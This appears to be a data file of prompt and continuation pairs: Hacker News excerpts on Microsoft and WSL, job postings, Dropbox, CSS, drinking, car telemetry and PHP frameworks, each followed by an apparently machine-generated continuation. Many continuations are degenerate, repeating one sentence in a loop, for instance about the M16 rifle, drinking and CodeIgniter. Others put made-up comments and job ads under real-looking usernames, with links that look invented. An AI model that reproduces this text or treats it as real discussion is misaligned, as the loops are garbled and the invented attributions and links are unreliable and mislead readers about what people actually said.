my desktop.\n\nI've been using WSL for a few months now and it's been great. I've been\nrunning Linux on my laptop for years, but I've never been", "input_text": " linux because it failed to beat Linux with FUD etc.\n\nMicrosoft to me is the cancer to the OSS, why not just admit that you had\nnever, and will never love Linux, you are simply doing all these for financial\npurposes solely, which is totally fine --- just don't ruin the \"love\" word,\nit's so awkward.\n\nLife is too short to be cheated multiple times, I will never trust Microsoft\nsince I switched to linux fully 15 years ago.\n\n------\nrcarmo\nI\u2019m going to add a data point here: I work at Microsoft and my primary e-mail\nclient is... Firefox. The Outlook web UI is so good these days that the UX for\nmail, viewing attachments and booking meetings is much, much better than the\nnative app (which I only use for ensuring I have an offline database when\ntraveling).\n\nAnd yeah, I use WSL extensively, and work from a Mac at home. There is a lot\nmore to the story than the article covers.\n\n------\n29athrowaway\nUse SoftMaker FreeOffice, or SoftMaker Office. It is a pretty nice and\nperformant replacement for MS Office.\n\n~~~\nhamsapelea\nGoogle docs works like a charm\n\n------\nxenorplxx\nHm. MS started to support React, especially React Native project lately with\ntheir react-native-windows and AppCenter, but I honestly have no idea why\nwould they do that instead of going with something like Electron, since they\nstarted to invest in Chromium and V8 anyway.\n\n~~~\ntracker1\nThey've done a lot with Electron as well... Github now being a subsidiary of\nMS. VS Code is really nice, and Teams is decent. I'd"} +{"output_text": " lyrics that are often quite dark.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this. The algorithm is not trying to\nmake a song happy. It\u2019s trying to make a song that is happy to listen to.\n\n~~~\nmatt_the_bass\nI\u2019m not sure I understand the point of this. The algorithm is not trying to\nmake a song happy. It\u2019s trying to make", "input_text": " and hurts like hell everytime I play it,\nlooking out at thousands of people cheering and smiling, oblivious to the\ntragedy of it\u2019s meaning, like when you\u2019re going to have your dog put down and\nit\u2019s wagging it\u2019s tail on the way there. That\u2019s what they all look like, and\nit breaks my heart.\u201d\n\n------\nzackkatz\nI vote for the happiest song being Anyone Can Play Guitar from Pablo Honey. It\nis hopeful and encouraging. It speaks of life goals achieved.\n\nThis article demonstrates how far AI has to go.\n\n[https://m.youtube.com/watch?v=GIWwfWaWuaE](https://m.youtube.com/watch?v=GIWwfWaWuaE)\n\n~~~\nJauntTrooper\nGood choice! I've also always thought 'Lift' felt happy.\n\n------\nTheRealDunkirk\nIf the winning song wasn't written in D-minor, the algorithm will need further\ntuning.\n\n------\nrodionos\n\n > and then used the tidytext package to break the lyrics into words, \n > eliminate common \"stop words\" like 'the' and 'a', \n > and count the number with negative sentiment\n \n\nIs 'not' a \"stop word\"? How did it count negations after \"stop words\" removed,\ni.e. \"I am not forgotten\". Positive, negative?\n\n~~~\nellisv\n\"not\" is a stop word. I don't see an attempt to negate the word sentiments.\n\n------\nmpettitt\nWould be interesting to see how it handled REM or Dubstar, both of whom have\nsome really upbeat tunes, with"} +{"output_text": " you are trying to do too much.\n\nI would suggest you focus on one thing at a time.\n\n1\\. Build a product that solves a problem for your target market.\n\n2\\. Get users for your product.\n\n3\\. Get users to pay for your product.\n\n4\\. Get users to pay for your product and get them to pay you.\n\n5\\. Get users to pay for your product and get them to pay you and get them to\n", "input_text": "\ncan, save your money, and think a lot. When you have the resources then start\na bootstrapped business and never look back.\n\n~~~\nbrokenhope\nI was thinking YC is for what you just explained in second paragraph. I do\nremember the SV scene where guy says \"i can not guide you unless you give me\nsomething to guide\" May be this startup world is a big lie!\n\n~~~\ndanieltillett\nYC sells itself as an accelerator, not as a lottery.\n\nOne of the big changes that have happened over the last few years is that the\nresources you need to start a tech business is much reduced to the point that\none skilled person with relatively modest savings can start and build a\nserious business. Get on with acquiring the skills and resources you need to\nstart without needing outside investors.\n\n~~~\nbrokenhope\nI do wish application reflects being accelerator by filtering people in the\nbeginning who needs incubation. I wish there is a quick and easy way of\nbootstrapping the network and connections for a successful exit.\n\n~~~\nbrokenhope\nWould love to hear more about your experience and what was the top 3 do and\ndont that you can share\n\n~~~\ndanieltillett\nHave a read of this post on my blog\n\n[http://www.tillett.info/2015/06/24/why-i-kept-my-startup-\nin-...](http://www.tillett.info/2015/06/24/why-i-kept-my-startup-in-australia-\nand-why-it-was-crazy/)\n\n------\ndenismars\nLike all things in startup life - nothing is easy, everything is hard. To me\nit sounds like"} +{"output_text": "* _Automate and manage deployments._ Automate deployments to AWS, and manage the lifecycle of our infrastructure.\n\n* _Build and maintain tools._ Build tools to automate our deployments, and manage our infrastructure.\n\n* _Build and maintain automation._ Build tools to automate our deployments, and manage our infrastructure.\n\n* _Build and maintain tools._ Build tools to automate our deployments, and manage our infrastructure.\n\n* _Build and", "input_text": " in a Linux based embedded\nsystem.\n\n\u2022 Excellent verbal and written communication skills in English.\n\n\u2022 Experience from software security related technologies, for example:\n\n\u2022 Trusted Execution Environment\n\n\u2022 Hardware virtualization, including Hypervisor technology\n\n\u2022 Certificate / Key management\n\n\u2022 Mandatory Access Control (SELinux, AppArmor or similar)\n\nFor all the details and the link to apply:\n\n[http://www.bosch-\ncareer.com/media/nc/documents_master_3/appl...](http://www.bosch-\ncareer.com/media/nc/documents_master_3/applying_documents_master_3/Trusted_Execution_Environment.pdf)\n\n------\nroablep\nEmogi | Infrastructure Engineer | New York City (NYC) | Full Time\n\nWe\u2019re a consumer-first data and content company that helps people find and\nshare innovative and useful content in their messaging experiences. Our\nproducts, the Emogi Conversation Graph and Emogi Content Studio, let messaging\napps build deeper engagement with their users, and brands connect with\naudiences.\n\nI'm looking for an experienced infrastructure engineer to help scale\ninfrastructure and mature our release management - a hybrid role that's part\nTech Ops, part DevOps, part QA automation. It's perfect for someone who wants\nto grow their skillset in new disciplines.\n\nYou can expect to:\n\n* _Build, Provision, and Operate Infrastructure._ Use Chef and AWS OpsWorks to manage configurations. We may evolve into a hybrid cloud.\n\n* _Own deployment workflows._ Build workflows from the time the source code is written 'till it is delivered. We use Jenkins CI and AWS CodeDeploy\n\n"} +{"output_text": " years before they had anything to show.\n\nI'm not saying Dropbox is a bad idea. I'm just saying that it's not a new idea\nand it's not a new technology. It's just a new way of doing things. And,\npeople are willing to pay for it.\n\n~~~\njoshu\nI think you're right. I think the problem is that the people who are willing\nto pay for it are the people who are willing to pay", "input_text": ", dropping vowels and slapping the term 'beta' on everything. The\nweb is cyclical and this is the latest cycle.\n\nWhile that in and of itself isn't BAD per se, it's a phrase that's come\nsynonymous with \"rockstar\" and \"ninja\" when talking about hiring developers. A\ntotal and complete non sequitur.\n\n------\nSwellJoe\nI've been shocked at how often I see the Dropbox icon on friend's systems. I\nno longer live in silicon valley, and so I am completely out of the echo\nchamber (except what I read here at HN). These are not nerds, not techies, and\nnot people who follow TechCrunch. These are artists, musicians, old folks,\nnomads, and all sorts of folks that just don't do technology. But, they get\nDropbox. Admittedly, my parents aren't using Dropbox, but my parents don't\nread CNN.com, either, and I can't imagine what they would even use Dropbox\nfor. I can't even get them to use flickr for photos, despite buying them a\ndigital camera (my mom still uses a film camera when she travels because she's\nafraid she'll lose or break the digital one).\n\nIf I could invest in Dropbox, I would. But, that wasn't always true. I met\nDrew at a YC party before they had anything to show, and were still figuring\nout the diffing/versioning problems, and all the underlying hard problems.\nAnd, I came away thinking, \"Well, that's been done before. A lot. And it never\nwent anywhere.\" I had even built a little web-based file manager and sharing\napp as a RoR practice app, a couple"} +{"output_text": " was a failure.\n\n[https://en.wikipedia.org/wiki/M16](https://en.wikipedia.org/wiki/M16)\n\n~~~\nstcredzero\n_Another example is when the M16 rifle was first introduced in the Vietnam War,\nit was a failure._\n\nI think the M16 was a failure because it was a failure. It was a failure\nbecause it was a failure. It was a failure because it was a failure", "input_text": "E)\n\nIn fact the Germans had been working quite seriously on guided surface-to-air\nmissiles during WWII:\n[https://www.youtube.com/watch?v=Cx_lsh0BJGs](https://www.youtube.com/watch?v=Cx_lsh0BJGs)\n[https://www.youtube.com/watch?v=B7Q92V5hK-c](https://www.youtube.com/watch?v=B7Q92V5hK-c)\n\n------\nstcredzero\n_WASHINGTON, Dec. 1 \u2014 The Department of Energy said tonight that approximately\nthree\u2010quarters of the A\u20101 model Polaris nuclear warheads deployed on\nsubmarines in the mid\u20101960's were probably \u201cduds\u201d because of mechanical\ndefects._\n\n[https://www.nytimes.com/1978/12/02/archives/early-polaris-\nmi...](https://www.nytimes.com/1978/12/02/archives/early-polaris-missile-had-\ndefects-scientists-at-government-labs.html)\n\nTo be fair, the Japanese had really good torpedos at the start of WWII, but\nthere were other things which were just as unproven and wonky. For one, the\nproposed tactic of letting battleship shells fall short, to target enemy ships\nunderwater, was pretty much useless.\n\n(Come to think of it, the initial performance of Sidewinder missiles in\nVietnam was another example of this sort of military equipment failure.)\n\n~~~\nSmoosh\nAnother example is when the M16 rifle was first introduced in the Vietnam War,\nit"} +{"output_text": " seeing teams that are more document-\noriented, and less document-oriented. They tend to use a more \"presentational\"\napproach, where classes are used to describe the appearance of elements, and\nnot to describe their content. This is because it's easier to change the\nappearance of an element than it is to change its content.\n\nI think this is a good thing, and I think it's a good thing that we're\nencouraging teams to adopt", "input_text": " with because the designers could quickly dig into the styles to make\ntweaks in a central location (single source of truth) without rummaging\nthrough our entire codebase to modify appearances of things (separation of\nconcerns).\n\nWhen I first discovered csszengarden.com, I realized the point of CSS and its\npower. HTML was made for hypertext and semantic content structure and CSS was\nmade for appearances. Either one could be completely replaced partially or\nwholly, separate of each other. Classes are like interfaces[0] which allows\nfor HTML to remain dumb and decoupled from presentation. When the HTML and CSS\nare hardcoded to specific design concepts themselves, then the usefulness of\nCSS as in \"cascading style sheets\" is nearly eliminated. These concepts aren't\na fad, this is good software architecture brought to you by an international\nconsortium who's been thinking about it for decades.\n\n0\\.\n[https://en.wikipedia.org/wiki/Dependency_inversion_principle](https://en.wikipedia.org/wiki/Dependency_inversion_principle)\n\n~~~\nandrewingram\nThere's flaw in reasoning here, but I'm glad we're at least focusing on the\nmaintainability arguments.\n\nUltimately it comes down to how your CSS is authored, and how your teams\nworks. If you develop in a heavily document-oriented way, and make big use of\nthe cascade, you're most likely to benefit from semantic (rather than\npresentational) class names. This is because when you make full use of the\ncascade, markup changes tend to be more expensive (you can't just move a block\nof HTML from one place to another and not expect its appearance to change).\n\nThese days though, we're increasingly"} +{"output_text": "\nyears ago, I was able to drink a lot more than I normally would. I was able\nto drink a lot more than I normally would because I was able to focus on the\ndrinking. I was able to drink a lot more than I normally would because I was\nable to focus on the drinking. I was able to drink a lot more than I normally\nwould because I was able to focus on the drinking. I was able to drink a lot\nmore than I normally", "input_text": " a budget for drinking. Nothing caps it like limiting the amount that\nyou can spend on it. 2\\. Have your socializing focus on activities as opposed\nto drinking. E.G. If you are bowling you'll be more focused on the game and\nthan you are on the drinking. 3\\. Drink a glass of water in between each\ndrink. Double bonus for reducing hangover effects 4\\. Buy a breathalizer. Yep!\nA weird one but you can keep the BAC below the driving limit and you'll be\npleasantly surprised. 5\\. Change locations often, and walk in between\nlocations. First this is great for getting quality time with your friends.\nSecond, you can use this trick to save money (happy hour in one place, dinner\nin another). Third, there will be prolonged periods of time between each\nlocation that you will not be drinking.\n\nSounds like you could also benefit from just imbibing drinks that are limited\nin alcohol content. Session Beers, Campari spritz, some sakes etc.\n\n~~~\nchirau\nWhat if your workplace is part facilitator? Many a startup's fridges are full\nof beers and other alcohol in full view. Which, I think makes both 1 and 2 a\nchallenge.\n\nFor 3, i feel like drinking a glass of water in between drinks, though a good\nthough, only eggs you on to drink more drinks since you know you are\ncountering it at each turn.\n\n~~~\njppope\nThe author of the original post said that he doesn't drink during the week. I\nwould agree that a fridge full of beer makes it harder.\n\n------\npeepanpeter\nThis is just a personal anecdote, but after taking Ecstasy/MDMA once around 9"} +{"output_text": " different from the competition, and we\u2019re looking for a product\nmanager to help us build it.\n\nWhat you\u2019ll do\n\nYou\u2019ll be responsible for the product vision and strategy, and will work with\nthe engineering team to build and launch the product. You\u2019ll be a key\ncontributor to the product roadmap, and will help us define and prioritize\nfeatures. You\u2019ll also be responsible for managing the product\u2019s marketing and\nsales efforts", "input_text": " contact denis@amptab.com\n\n------\nmgw\nDealini | Zurich, Switzerland | Onsite | Fulltime | Senior Python Developer |\n85k-110k CHF\n\nDealini is creating and running marketing campaigns in retail stores, moving\npeople from the physical world onto our online experiences.\n\nWe are looking for a Senior Python Developer to:\n\n\\- Craft clean and elegant REST APIs in Python, consumed by our web\napplications and mobile apps\n\n\\- Improve our development environment and workflow consisting of a Python\nREST framework, MariaDB, Redis, Varnish, Buildbot...\n\n\\- Tend to our services and servers running on Amazon Web Services\n\n\\- Take architectural decisions for new features\n\nOur interview process: A short chat over the phone, interview with me\n(founder) and a second (ideally on-site) interview with someone from the team.\n\nWe have a very laid back atmosphere and some Silicon Valley style perks. You\ncan find more information here: [http://stackoverflow.com/jobs/132982/senior-\npython-developer...](http://stackoverflow.com/jobs/132982/senior-python-\ndeveloper-dealini-schweiz-ag)\n\nContact me at michael.wirth@dealini.ch\n\n------\njesseendahl\nFleetsmith | Junior Product Manager | San Francisco | Onsite | Full Time\n\nWho we are\n\nFleetsmith solves the computer management problem for IT and Security teams:\nsimple and secure provisioning, enforcement, and inventory of devices.\n\nWe were motivated to create Fleetsmith by our deep frustration with existing\ncomputer management solutions. We knew we could do a lot better. Our product\nis very"} +{"output_text": "ire.com/news-releases/hyundai-and-\ngenesis...](https://www.prnewswire.com/news-releases/hyundai-and-genesis-\nannounce-connected-service-program-to-enable-vehicle-telemetry-and-\nlocation-data-mining-for-insurance-and-financial-services-300939000.html)\n\n~~~\nmikeash\nI don't think that", "input_text": " car, and it might actually help defending\nmyself if I have an accident and I think that I'm not guilty.\n\n~~~\nabawany\nI believe these have existed in vehicles for quite a while and have been used\nas evidence for/against the driver. According to [1], 85% of all vehicles in\n2010 were expected to already have these things installed.\n\n[1]\n[https://en.wikipedia.org/wiki/Event_data_recorder](https://en.wikipedia.org/wiki/Event_data_recorder)\n\n~~~\nzepearl\nThank you, until now I was totally unaware of such systems.\n\nBut good to have things stored locally than to have them uploaded anywhere to\nthen be used for some analysis (puah, probably a point to be discussed).\n\nPersonally I'm OK if used for&against the driver (from a technical\nperspective, not as souce of abolute truth) if the duration of the recordings\nare short.\n\n~~~\nabawany\nIn a defensive driving course I took in the prior decade, the instructor\ninformed us that these collect data in a rolling 5 minute window until an\nadverse event occurs.\n\n------\ntobyhinloopen\nThis and the DLC are the worst trends in new cars.\n\n------\npropogandist\nHyundai and Genesis have been doing this with their vehicles. They offer a 3\nyear complimetary connected service program, which includes terms that allow\nmining of car telemetry and GPS data, which is then sold to data broker\nVeriRisk, who resells to insurance and other industry.\n\nAll this only screws the driver over and most people simply do not know this\nis happening.\n\n[https://www.prnewsw"} +{"output_text": "\n\n~~~\ndiminish\nI am not sure if it is a mobile OS, but it is a platform for mobile devices.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a\n\"competitive advantage\".\n\nI mean, sure, it's a nice idea, but it's not like Apple has a monopoly on\nmobile OSes.\n\n~~~\njosteink\nI guess I", "input_text": "\nBada was successful in 2011 and 2012 (3Q/2012: 5.054.000 world wide sales,\n3.0% market share). Bada sales were higher than Win7/8 smartphone sales even\nback in 2012:\n[http://upload.wikimedia.org/wikipedia/de/e/e7/2012_11_15_Sma...](http://upload.wikimedia.org/wikipedia/de/e/e7/2012_11_15_Smartphones.jpg)\n\n~~~\nOletros\nAndroid compatibility layer doesn't include Google Services so no GMail,\nGoogle Maps or other programs.\n\n------\nDaishiman\nThis was not unexpected; despite all the technical and political troubles iOS\nand Android have, mobiles OSes can be considered a commodity; there is little\ncompetitive advantage that any new contender could bring about at this point\nunless something truly radical emerges.\n\nUbuntu's unified OS on all platforms seems like an interesting idea at first\nglance, but Canonical has so far failed at providing the necessary vision for\nthat to come through.\n\n~~~\nargonaut\nIt's not so much that they're a commodity, but rather it's the fact that\nAndroid and iOS are so entrenched. Both ecosystems are networks. In fact iOS\nis a major competitive advantage for Apple, with all the apps that are iOS\nfirst.\n\n------\ndiminish\nMobile OS seen is amazingly diverse; Symbian, WebOs, Blackberry OSes, Bada,\n->Tizen, Ubuntu Touch, FirefoxOS, SailfishOS and then Android/s, Windows* and\niOS. Anything else I omitted?\n\n~~~\nxamlhacker\nThere is also S40 platform powering Nokia Asha pseudo-smartphones."} +{"output_text": " they're all well worth it.\n\n------\njulian37\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI've been reading a lot about the history of film, and I've noticed that\nthere's a lot of discussion about the \"art\" of film, and how it's different\nfrom other art forms.\n\nI'm wondering if there's any discussion about the \"art\" of film production?\n", "input_text": " are positioning\nthemselves within the scene. One can break this rule like any other but it\nneeds to be done deliberately and in a way that signals a shift of focus to\nthe audience.\n\nKeeping track of all this during the often-chaotic environment of production\nis a lot harder than you might imagine. Almost all films, even vary large-\nbudget ones, have at least one shot where the image has to be flipped from\nleft to right to correct a camera positioning error - it's better that Brad\nPitt's wristwatch seem to momentarily be on the wrong arm than that the\npositional grammar be broken by a poorly-chosen angle.\n\n~~~\njulian37\nFor people (not just film students) interested in this sort of thing, I\nrecommend \"The Grammar of the Film Language\" by Daniel Arijon. A fantastic\nbook that's fundamentally changed the way I see movies.\n\n[http://www.amazon.com/Grammar-Film-Language-Daniel-\nArijon/dp...](http://www.amazon.com/Grammar-Film-Language-Daniel-\nArijon/dp/187950507X)\n\n~~~\nanigbrowl\nSeconded. It is the only book I've seen that takes a truly systematic\napproach. It seems to have fallen out of favor due to the 1970s-era line\ndrawings involving increasingly naked people which some people find sexist or\njust weird.\n\nTwo other books worth mentioning are _The Visual Story_ by Bruce Block and _If\nit's Purple Someone's Gonna Die_ by Patti Bellatoni. The first one is about\nshapes and the second one is about color.\n\nYou can pick up all 3 for under $100 and"} +{"output_text": " and a great work/life\nbalance.\n\nApply here:\n[https://www.easypost.com/careers/software-engineer](https://www.easypost.com/careers/software-\nengineer)\n\n------\njamesjguthrie\nGuthrie | London, UK | Full-time | ONSITE |\n[https://www.guthrie.com](https://www.guthrie.", "input_text": "\n\n\\- Add new features to our core booking system\n\n\\- Improving [https://www.openplay.co.uk](https://www.openplay.co.uk) for our\n30,000+ users\n\n\\- Developing new endpoints for our APIs\n\n\\- Investigating new ares of interest for our business including mobile\npayments, keyless entry systems, iBeacons etc\n\n\\- Looking into react native for some upcoming apps we're developing\n\nTech stack is:\n\n\\- Laravel 5/Redis\n\n\\- Bootstrap\n\n\\- Ionic hybrid apps\n\n\\- All hosted on AWS deployed via codeship with forge/envoyer.\n\nsee [https://larajobs.com/job/758/midsenior-laravel-developer-\nlon...](https://larajobs.com/job/758/midsenior-laravel-developer-london-\nonsite-or-uk-remote) for more information\n\n------\nspark1\nEasyPost | San Francisco | Full-time | Onsite | Senior Software Engineer\n\nEasyPost is a fast growing startup that provides a RESTful API to\nrevolutionize the entire shipping process for e-commerce companies.\n\nWe are looking for a Senior Software Engineer with Ruby on Rails, Python, or\nGo experience to join the EasyPost team. If you love to code, want to build\nAPIs, and work on a small team of collaborative developers to build meaningful\nproducts, then we\u2019d love to meet you!\n\nCheck out our API:\n[https://www.easypost.com/docs/api.html](https://www.easypost.com/docs/api.html)\n\nWe can offer you a competitive base salary, equity,"} +{"output_text": "news/business-32953532](http://www.bbc.com/news/business-32953532)\n\n------\njoshuaheard\nI'm not sure why this is news. The government has been doing this for years.\n\n------\njoshuaheard\nI'm not sure why this is news. The government has been doing this for years.\n\n------\njoshuaheard\nI'm not sure why this is news. The", "input_text": " business development to get the contract in the first\nplace.\n\nI don't actually know how these things are calculated, though.\n\n~~~\nzaroth\nGood points. They are certainly not making out after the fines. Now I wonder,\nif the fine is tax deductible?\n\n~~~\njacalata\nIt shouldn't be in general - [http://www.nolo.com/legal-encyclopedia/business-\nexpenses-tha...](http://www.nolo.com/legal-encyclopedia/business-expenses-\nthat-are-never-deductible.html)\n\n------\nEvanPlaice\nSounds like 'business as usual' to me.\n\nSmall company is granted preferential treatment on the contract reward because\nthe company fits under a'special class'. For example SDVOSB.\n\nThe company doesn't actually have the skill/ability to fulfill the contract\nrequirements so they outsource a significant portion of the work; either by\npicking up one of the bidders who lost as a subprime or bynoutsourcing to a\nthird-party. Passing off the responsibility violates the 'protected class'\ncertification threshold but there's no oversight to verify compliance so the\ncontractor is never held accountable.\n\nMany/most small business defense contractors are simply administrative\ncompanies that work the'special class' certification process, pocket a\nsignificant percentage of the funds, and either outsource most of the actual\nwork or hire people and provide substandard pay and provide little/no\nresources to do the work.\n\nSource: I used to work for one such company. Never again...\n\n------\neddd\nI love that kind of stories:\n[http://www.bbc.com/"} +{"output_text": " hope it's close enough.\"\n\nI'm not saying Semantic is a bad framework, I'm just saying that I'm not\ncomfortable with it.\n\n~~~\njoshschreuder\nI'm not sure if this is the case, but I've found that Semantic UI is very\nopinionated about how things should be laid out.\n\nI've found that it's very easy to get things to look good, but it's very\ndifficult to get them", "input_text": "perhaps compiled from markdown) with no JS?\n\nThe manuals for semantic UI seem to jump strait into integrations with other\nfrontend frameworks and build tools; but I don't want to use them.\n\n------\nbaby\nI use it for small projects/pages just because it looks so good :)\n[http://cryptologie.net/links](http://cryptologie.net/links)\n\nbut I found it harder to get into compared to bootstrap/foundation.\n\n------\nnwmcsween\nThere seems to be some sort of impedance mismatch CSS is _for_ developers give\nme.di-bl { display: block; }, make it easy to understand by just looking at\nthe markup instead of having to having to dig into other files.\n\n------\nvoidhawk\nAnyone else find the pages jitter when scrolling? At least on Safari (iPhone)\n\n------\nndarilek\nAs a blind web developer, I want to like Semantic. My usual mode of developing\nHTML, once it's at the \"I need to make this look good\" stage, is \"show it to\nmy girlfriend and ask her various questions.\" She says things like \"I wish X\nwere a bit larger,\" or \"Y should be blue,\" and pulling that off in Bootstrap\nis challenging. I can drop down to lower-level CSS, but have no clue how my\nchanges interact with Bootstrap's defaults, or indeed if they take effect at\nall. I mean, I can tweak font sizes and hex codes, but at the end of the day\nthey're all numbers, when what I _want_ to do is say \"No really, make this\nthing larger relative to these other things,\" not \"make it 125%, with this hex\ncode I scraped out of some color list and"} +{"output_text": "\n4) The \"speed\" of a language is often a function of the developer's\nexperience, and the language's design.\n\n~~~\nbooshi\nI agree with all of your points, but I think the author is trying to say that\nthe speed of a language is not a function of the developer's experience, but\nof the language's design.\n\n~~~\n0xcde4c3db\nI think that's a fair point, but I think it", "input_text": " extra lines. I've also used Go for\nsome command-line type apps where the line count is probably 50% over Python,\nbut I also got some significant wins from the type system and concurrency, so,\nall in all there's a lot of things I can prototype with about the same mental\neffort in Go as I could in Python. Being able to declare interfaces that\nexisting types conform to turns out to cover a surprising amount of those\n\"duck-type\" scripting-type cases.\n\n------\nbooshi\nThis keeps getting posted, and while it makes some valid points, it's a lot of\nhandwaving.\n\nArguably, other languages can get code out faster depending on the dev,\nlanguage, etc.\n\n~~~\n0xcde4c3db\nAgreed. Things that are handwaved include:\n\n1) Performance can be a genuine requirement of the product, i.e. if it's not\nfast enough, it doesn't ship. You can't ship faster and cheaper by sacrificing\nthe thing you need to ship (well, you _can_, but then you're shipping a\ndifferent product, not meeting the same requirements sooner; it's no different\nthan cutting a feature).\n\n2) Many processes can't be horizontally scaled in an efficient way, period.\nNot because the programmer is ignorant of some cool algorithm, but because the\nproblem is fundamentally expensive to parallelize. Maybe you end up getting\nsomething like a 20% boost by having twice as many nodes, even after applying\nall the cool algorithms. And you don't necessarily get that scalability in\nyour code base for free, either.\n\n3) \"Speed\" in the mobile and embedded spaces is often as much about energy\nefficiency and thermal management as getting done sooner.\n"} +{"output_text": ". He said he was paid well and had a good time.\n\nI think the problem is that Amazon is a company that is very good at\nmanipulating the public. They are very good at making people feel like they\nare part of a team. They are very good at making people feel like they are\ndoing something good for the world.\n\nI think that is why they are so successful.\n\n~~~\nFussyZeus\nI'm not saying they're", "input_text": " or group, then\nhave everyone commit to the decision and not whine about how they should have\ndone what _I_ said we should do. You disagree, but you commit to the decision\nof the group for cohesion and productivity.\n\nIt's also a means to prevent groupthink. No one should be thought poorly of\n_for_ disagreeing, so everyone should be giving all their thoughts, even ones\nthat contradict what the group is thinking. Just so long as they get those\npoints out before the decision is made, of course.\n\n~~~\nkevan\nExactly. No matter how good an idea is, if people in the team are sabotaging\nit because they don't like it you'll have a bad time. A variation on Patton's\nquote: A mediocre plan executed well is better than a great plan executed\npoorly.\n\n------\nFussyZeus\nIs it safe in this thread to bring up the human cost of Amazon's (and likely\nby extension Bezo's) almost sociopathic pursuit of success? I wouldn't deny\nAmazon is a successful company, but how many horror stories from employees\nbeing ground to dust under their management have crossed HN's front page? How\nmany companies are now refusing to do business with Amazon because of the\niron-fisted requirements enforcement on their suppliers? How many sales on\nAmazon are of shit quality, ripoff products no better than you'd find on the\nstreets of Hong Kong?\n\nI mean eschewing any and all corporate, social, and ethical responsibility\nwill definitely make you a truck load of money, but I wouldn't call it exactly\na net gain for all involved.\n\n~~~\ndizzystar\nI had a roommate who worked in the Amazon warehouse. He said it was very chill\nand easy work"} +{"output_text": ") is\ntheir OS.\n\n~~~\nmattnewton\nI think the biggest lead Apple has is that they have a huge installed base of\nusers who are willing to pay for their products.\n\n~~~\ncamdenlock\nI think you're right. I think Apple has a huge lead in the OS market, but\nGoogle has a huge lead in the OS market that Apple is trying to catch up to.\n\n------\nmattnewton\nI'm not", "input_text": " when I\nused it, and once it is running I keep it open pretty much the entire work-\nweek without any issues.\n\n~~~\npjmlp\nOther than Netbeans and Eclipse being faster and don't turn my dual core into\nairplane mode like Android Studio does, which forced me to enable laptop mode\non it.\n\n~~~\nInsanity\nI don't really understand what you are trying to say, sorry :/\n\n------\niainmerrick\n\"Fuchsia\" and \"magenta\" are pretty gutsy names to choose, given how similar it\nsound to Apple's vaporware \"Pink\" OS from the 90s (AKA Taligent, AKA Copland).\nSomebody has a sense of humor!\n\nIt's really hard to tell if this is actually something that will ship, or yet\nanother Google boondoggle to be swiftly discarded (like the first attempt at\nChromeOS for tablets). Google under Larry Page built and discarded a lot of\nstuff; I wonder if it's the same under Sundar Pichai.\n\n[https://en.wikipedia.org/wiki/Taligent](https://en.wikipedia.org/wiki/Taligent)\n\n~~~\nJustSomeNobody\nSounds like a stretch having to go all the way back to the 90's to get a\nsimilar color code name.\n\n~~~\niainmerrick\nIt was the first thing those unusual names made me think of. But I'm a long-\ntime Mac developer, so probably pink and purple colors as OS names won't have\nthe same connotations for other people.\n\n------\ncamdenlock\nThis could be the first time Apple needs to truly worry about Google. The one\nmassive lead Apple still has over Google (and the other major players"} +{"output_text": " Data is a fast-growing, venture-backed startup that is building the\nworld's most advanced data platform for the Internet of Things. We are\nlooking for a senior full-stack engineer to join our team.\n\nYou will be working on a variety of projects, including our core product,\nwhich is a data platform for the Internet of Things. You will be working with\na small team of engineers to build a product that is used by some of the\nlargest companies in the", "input_text": " also hiring for Marketing, Recruiting, Finance, and Sales! Basically\neverything.\n\n~~~\nkprybol\nI keep looking for another data science spot to open up in Raleigh. Wish I\ncould have taken advantage of the openings when your office first opened up\nbut was terrible timing on my end (really enjoyed interviewing though). Also\ngot to meet Tim not too long ago at PyData Carolinas and he's awesome.\n\n------\ncwik\nCaseWare | Toronto, Canada | Full-time | Multiple Positions | Onsite\n\nWe are looking for experienced developers to help us build our next generation\nof cloud services.\n\nCaseWare is the dominant provider of mission-critical accounting and auditing\nsoftware used by domestic and global accounting firms and a leading provider\nof auditing software to governments, tax authorities and corporations.\n\nWe\u2019re actively hiring for the following positions:\n\nDevOps Engineer\n\nServer Developer (Java)\n\nData Platform Developer (Java, Scala, Apache Spark)\n\nOur stack: Docker, Kubernetes, AWS, Java, Scala, Apache Spark, TypeScript,\nAngular 2. If you have experience with any of these let\u2019s talk!\n\nMention \u2018HN\u2019 in your application at\n[https://www.caseware.com/careers/](https://www.caseware.com/careers/)\n\n------\nmelaniet\nPeriscope Data | San Francisco, ONSITE |\n[https://www.periscopedata.com/](https://www.periscopedata.com/)\n\n* Senior Full Stack Engineer (Ruby, Go, CoffeeScript): [http://bit.ly/2iBwa6l](http://bit.ly/2iBwa6l)\n\nPeriscope"} +{"output_text": " documentation is a little sparse.\n\n~~~\nlyime\nI'm using Kohana right now. I'm not sure if I like it or not. I'm not a big\nfan of the MVC design pattern. I like the way CodeIgniter does it. I like the\nway Kohana does it. I like the way CodeIgniter does it. I like the way Kohana\ndoes it. I like the way CodeIgniter does it. I like the way Koh", "input_text": " In the end, I would have built a better\nproduct in the time allotted using something else, even my own primitive\ncodebase.\n\nHaving come to know it pretty damn well, I'd have trouble recommending it to\nanyone else.\n\n~~~\npauljonas\nI looked at Symfony, CakePHP, and a few others (at time, Zend was not anywhere\nnear production ready), and all just seemed like (a) overkill or (b)\ninadequate. In the final analysis, I wrote my own framework.\n\nOn the flip side, homebrew framework development has become a larger project\nin recent years. Nowdays, you need to include in AJAX integration, slicker\nclient UI, mobile phone accommodation, web services API, multimedia handling,\netc.... And you're going to be reliant on 3rd party libraries that you need to\nresearch, choose, perhaps configure and upgrade at intervals.\n\nHave used Rails for a few projects and it provided a constant stream of\nannoyances as anytime you attempted to do something that didn't quite fit into\nthe DHH \"vision\", it was a hassle. Though I liked the DB migration setup in\nspite of the lock in to autoincrement integer keys.\n\n------\nlyime\nhas anyone used Kohana php here?\n\n~~~\ngigawatt\nI'm in the middle of learning PHP with plans to learn a framework afterwards.\nI had pretty much decided on CodeIgniter since I'm such a big fan of\nExpressionEngine, and EE 2.0 will be based on CI. But Kohana definitely looks\ninteresting - based on CI, but with full PHP5 support. And the payment library\nlooks particularly enticing. The one thing that makes me a little leery is\nthat the CI"} +{"output_text": ":\n[https://www.privacy-\nregulation.eu/en/articles/email_addresses...](https://www.privacy-\nregulation.eu/en/articles/email_addresses_and_other_personal_information)\n\n> The GDPR defines PII and there isn't anything you can do about it you can't\n> ask users to make a throwaway email account and hope that you can pass GDPR\n> by claiming that it", 